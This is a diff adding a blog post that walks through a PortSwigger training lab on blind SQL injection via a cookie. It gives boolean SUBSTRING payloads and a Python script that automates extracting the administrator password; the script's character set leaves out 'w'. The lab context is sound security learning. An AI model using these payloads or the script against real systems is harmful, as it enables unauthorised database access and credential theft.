diff --git a/content/blog/2024/01/blind-sqli-automation/index.md b/content/blog/2024/01/blind-sqli-automation/index.md new file mode 100644 index 0000000..fb14539 --- /dev/null +++ b/content/blog/2024/01/blind-sqli-automation/index.md @@ -0,0 +1,225 @@ +--- +title: "Automating Blind SQL Injection on Cookies" +date: 2024-01-23 +--- + +Earlier this evening, I was working through one of the [PortSwigger SQL +injection +labs](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses) +which requires you to determine an administrator password by injecting some SQL +into a cookie and checking if the content of the page changes because a +resulting query succeeded or failed. + +## The attack + +Basically say you have a cookie `TrackingId` with a value like +`nCoQWoq8E7c6vj1e` and the page runs a query like `SELECT ... FROM trackers +WHERE id = 'nCoQWoq8E7c6vj1o'` and inserts a "Welcome Back" banner onto the page +if the query succeeds and doesn't if it fails. + +This means you can get creative with the value of the cookie to do some SQL +injection and use the boolean output (either the banner displays or it doesn't) +to extract information. + +To validate that there is a SQL injection path available you can try the +following two values for the cookie: + +```markdown +nCoQWoq8E7c6vj1o' AND '1'='1 +nCoQWoq8E7c6vj1o' AND '1'='0 +``` + +This transforms the query from something like this: + +```sql +SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o'; +``` + +Into your modified query: + +```sql +SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND '1'='0'; +``` + +Now this might not seem very useful off the bat but you can extract a lot of +information out of the database this way. Consider the following query. + +```sql +SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND + (SELECT password FROM users WHERE username = 'administrator') = 'hunter2'; +``` + +Now if the "Welcome Back" banner displayed on the site you would know that you +had properly guessed the admin password because the condition evaluated to true. +Now this isn't any more helpful than just trying to brute force the password on +the login page (other than maybe just bypassing some rate-limits and monitoring). +But what you can do to speed this up is to try to guess each letter at a time, +and you can bifurcate while you're at it. Consider the following three queries +(borrowed directly from the [PortSwigger +tutorial](https://portswigger.net/web-security/sql-injection/blind)). + +```sql +-- This succeeds +SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND SUBSTRING( + (SELECT password FROM users WHERE username = 'administrator'), 1, 1) >= 'm'; + +-- This fails +SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND SUBSTRING( + (SELECT password FROM users WHERE username = 'administrator'), 1, 1) >= 't'; + +-- This succeeds +SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND SUBSTRING( + (SELECT password FROM users WHERE username = 'administrator'), 1, 1) = 's'; +``` + +We now know the first letter of the administrator password is 's'! + +Looking directly at the cookie values they were as follows: + +```markdown +nCoQWoq8E7c6vj1o' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) >= 'm +nCoQWoq8E7c6vj1o' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) >= 't +nCoQWoq8E7c6vj1o' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = 's +``` + +This is a pretty nifty attack that lets us systematically derive the +administrators password. + +## The Problem + +Happily, I got to work on the lab and started bifurcating each letter of the +administrator's password. The issue was by the time I got done doing this for 5 +letters in the password I was desperately hoping it was only 5 characters long. +I had the same thoughts 8 characters, 10 characters, and 16 characters. This +process was incredibly tedious and involved refreshing the page, updating the +cookie info based on what I had just learned, saving the cookie, and refreshing +the page again. + +Obviously there had to be a better way, but because I kept feeling like I was +just around the corner from cracking it I ended up powering through all 20 +characters of the password. 20! This took me well over 30 minutes I think. + +Clearly, this sort of repetitive work is something that should be automated. + +## The Solution + +So let's take a crack at this using the python requests library (mainly because +it is the one I've used in the past). Let's start by simply getting the page as +is: + +```python +import requests +url = "https://{SOME_HEX_ID}.web-security-academy.net/" +r = requests.get(url) +print(r.status_code) +print(r.text) +``` + +And viola it works! At least we don't have to pretend we're a browser or +something to get the page properly. Next up lets try to get the "Welcome Back!" +banner. + +```python +cookies = { + "TrackingId": "CjAZljYSS9X1ZfRg", +} +r = requests.get(url, cookies=cookies) +``` + +Incredibly this also works on the first try! Now let's generalize this into a +function that tells us whether a specific cookie gets a good response or not. + +```python +def injection_works(inject_str): + url = "https://0a0400cc04bd096f82089e9e005900a9.web-security-academy.net/" + cookies = { + "TrackingId": f"CjAZljYSS9X1ZfRg{inject_str}", + } + r = requests.get(url, cookies=cookies) + if r.status_code != 200: + print(r.status_code) + print(r.text) + sys.exit("Request failed") + return "Welcome back!" in r.text + + +if __name__ == "__main__": + print(injection_works("")) +``` + +For the purposes of this we can just match the exact string in the response +text, we don't need to actually parse it using beautiful soup or something. + +Now we can use this function to bisect the first character like so: + +```python +def determine_character(char_num): + base_inj_str = "' AND SUBSTRING(" + "(SELECT password FROM users WHERE username = 'administrator'), {}, 1) < '{}" + # There has got to be a cleaner way to do this right? + base_charset = "0123456789abcdefghijklmnopqrstuvxyz" + charset = base_charset[:] + while len(charset) > 1: + mid_char_num = int(len(charset) / 2) + mid_char = charset[mid_char_num] + inj_str = base_inj_str.format(char_num, mid_char) + if injection_works(inj_str): + # The character is less than our midpoint. + charset = charset[:mid_char_num] + else: + # The character is greater than or equal to our midpoint. + charset = charset[mid_char_num:] + time.sleep(1) + print(charset) + return charset[0] + +if __name__ == "__main__": + print(determine_character(1)) +``` + +This successfully identifies the first character in the administrator password as +'1'. + +Finally we just need to do this iteratively until we reach the end of the +password. While doing this manually I learned that when you take a substring +outside of a strings length in MySQL it just returns an empty string. Lets add a +case to detect that before trying to bifurcate a character, because as I +learned annoyingly the first time around, the empty string will always compare +as less than a single character. We can use that to our advantage however and +simply test that whether the string is less than a character we know we won't +see (as we know the password is lowercase alphanumeric) like the '!'. + +```python +def determine_character(char_num): + base_inj_str = "' AND SUBSTRING(" + "(SELECT password FROM users WHERE username = 'administrator'), {}, 1) < '{}" + base_charset = "0123456789abcdefghijklmnopqrstuvxyz" + if injection_works(base_inj_str.format(char_num, '!')): + return None + ... +``` + +Then in the main function we can use an [assignment +expression](https://peps.python.org/pep-0572/) to loop until the function +returns None. + +```python +if __name__ == "__main__": + char_num = 1 + password = "" + while char := determine_character(char_num): + password += char + char_num += 1 + print(password) +``` + +And this worked on the first try! It got the password in around 3 minutes +(mainly hampered by the slow response time of the server but I didn't want to +hammer the kind people at PortSwagger by parallelizing this). And all told this +took me just over 50 minutes to write (including this blog post though). And +while that was slightly longer than the time it took me to do this manually it +was wayyyy less tedious and it's repeatable! + +Overall, I found this very enjoyable as I have played with SQL injections in the +past but I haven't tried to automate anything around it and this was a cool +opportunity to do that.